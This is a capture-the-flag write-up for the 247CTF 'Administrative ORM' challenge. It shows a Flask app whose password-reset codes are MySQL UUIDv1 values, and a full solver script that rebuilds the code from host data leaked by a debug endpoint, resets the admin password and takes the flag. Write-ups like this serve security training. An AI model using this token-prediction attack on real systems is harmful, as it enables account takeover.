ADMINISTRATIVE ORM [HARD]#

Description#

We started building a custom ORM for user management. Can you find any bugs before we push to production?

Source Code#

Click here for source code in text format
import pymysql.cursors
import pymysql, os, bcrypt, debug
from flask import Flask, request
from secret import flag, secret_key, sql_user, sql_password, sql_database, sql_host

class ORM():
    def __init__(self):
        self.connection = pymysql.connect(host=sql_host, user=sql_user, password=sql_password, db=sql_database, cursorclass=pymysql.cursors.DictCursor)

    def update(self, sql, parameters):
        with self.connection.cursor() as cursor:
          cursor.execute(sql, parameters)
          self.connection.commit()

    def query(self, sql, parameters):
        with self.connection.cursor() as cursor:
          cursor.execute(sql, parameters)
          result = cursor.fetchone()
        return result

    def get_by_name(self, user):
        return self.query('select * from users where username=%s', user)

    def get_by_reset_code(self, reset_code):
        return self.query('select * from users where reset_code=%s', reset_code)

    def set_password(self, user, password):
        password_hash = bcrypt.hashpw(password, bcrypt.gensalt())
        self.update('update users set password=%s where username=%s', (password_hash, user))

    def set_reset_code(self, user):
        self.update('update users set reset_code=uuid() where username=%s', user)

app = Flask(__name__)
app.config['DEBUG'] = False
app.config['SECRET_KEY'] = secret_key
app.config['USER'] = 'admin'

@app.route("/get_flag")
def get_flag():
    user_row = app.config['ORM'].get_by_name(app.config['USER'])
    if bcrypt.checkpw(request.args.get('password','').encode('utf8'), user_row['password'].encode('utf8')):
        return flag
    return "Invalid password for %s!" % app.config['USER']

@app.route("/update_password")
def update_password():
    user_row = app.config['ORM'].get_by_reset_code(request.args.get('reset_code',''))
    if user_row:
        app.config['ORM'].set_password(app.config['USER'], request.args.get('password','').encode('utf8'))
        return "Password reset for %s!" % app.config['USER']
    app.config['ORM'].set_reset_code(app.config['USER'])
    return "Invalid reset code for %s!" % app.config['USER']

@app.route("/statistics") # TODO: remove statistics
def statistics():
    return debug.statistics()

@app.route('/')
def source():
    return "<pre>%s</pre>" % open(__file__).read()

@app.before_first_request
def before_first():
    app.config['ORM'] = ORM()
    app.config['ORM'].set_password(app.config['USER'], os.urandom(32).hex())

@app.errorhandler(Exception)
def error(error):
    return "Something went wrong!"

if __name__ == "__main__":
    app.run()

Short Solution Description / Tags#

UUIDv1 Calculation

Solution#

The reset_code needed to change the password is automatically generated using MySQL's UUID() function, and it is a UUIDv1:

    def set_reset_code(self, user):
        self.update('update users set reset_code=uuid() where username=%s', user)

MySQL :: MySQL 8.2 Reference Manual :: 12.23 Miscellaneous Functions

UUID() returns a value that conforms to UUID version 1 as described in RFC 4122.

Gathering the information by the /statistics endpoint such as a MAC Addreess to calculate the UUIDv1, change the password, and then got the flag.

solver.py

from datetime import datetime
import re
import requests
from uuid import UUID

s = requests.Session()
# s.proxies = {"https": "http://127.0.0.1:8080"}
s.verify = False

requests.packages.urllib3.disable_warnings()

BASE_URL = "https://47b8ddea058e5ec2.247ctf.com"


def set_reset_code():
    s.get(f"{BASE_URL}/update_password")


def leak_uuid():
    res = s.get(f"{BASE_URL}/statistics")

    # e.g. last_reset: 2023-12-29 05:40:33.170573900
    m = re.findall(r"last_reset: (.*)", res.text)
    reset_time = m[0]

    # UUIDv1 Implementation: https://github.com/python/cpython/blob/3.12/Lib/uuid.py#L692-L695

    no_ns = datetime.strptime(reset_time[:-10], "%Y-%m-%d %H:%M:%S").strftime("%s")
    no_ns = str(int(no_ns) + 60 * 60 * 9)

    time_ns = no_ns + reset_time[-9:]
    time_ns = int(time_ns)
    timestamp = time_ns // 100 + 0x01B21DD213814000
    time_low = timestamp & 0xFFFFFFFF

    time_mid = (timestamp >> 32) & 0xFFFF

    time_hi_version = (timestamp >> 48) & 0x0FFF

    # e.g. HWaddr 02:42:AC:11:00:19
    m = re.findall(r"HWaddr ([0-9A-F:]{17})", res.text)
    node = m[0]
    node = int(node.replace(":", "").lower(), base=16)

    # e.g. clock_sequence: 3215
    m = re.findall(r"clock_sequence: ([0-9].*)", res.text)
    clock_seq = int(m[0])
    clock_seq_low = clock_seq & 0xFF
    clock_seq_hi_variant = (clock_seq >> 8) & 0x3F

    # UUID: https://docs.python.org/3/library/uuid.html#uuid.UUID
    uuid = UUID(
        fields=(
            time_low,
            time_mid,
            time_hi_version,
            clock_seq_hi_variant,
            clock_seq_low,
            node,
        ),
        version=1,
    )

    return str(uuid)


def main():
    set_reset_code()

    leaked_uuid = leak_uuid()
    s.get(f"{BASE_URL}/update_password", params={"reset_code": leaked_uuid})
    res = s.get(f"{BASE_URL}/get_flag")
    print(res.text)


if __name__ == "__main__":
    main()

Result:

$ python3 solver.py
247CTF{[REDACTED]}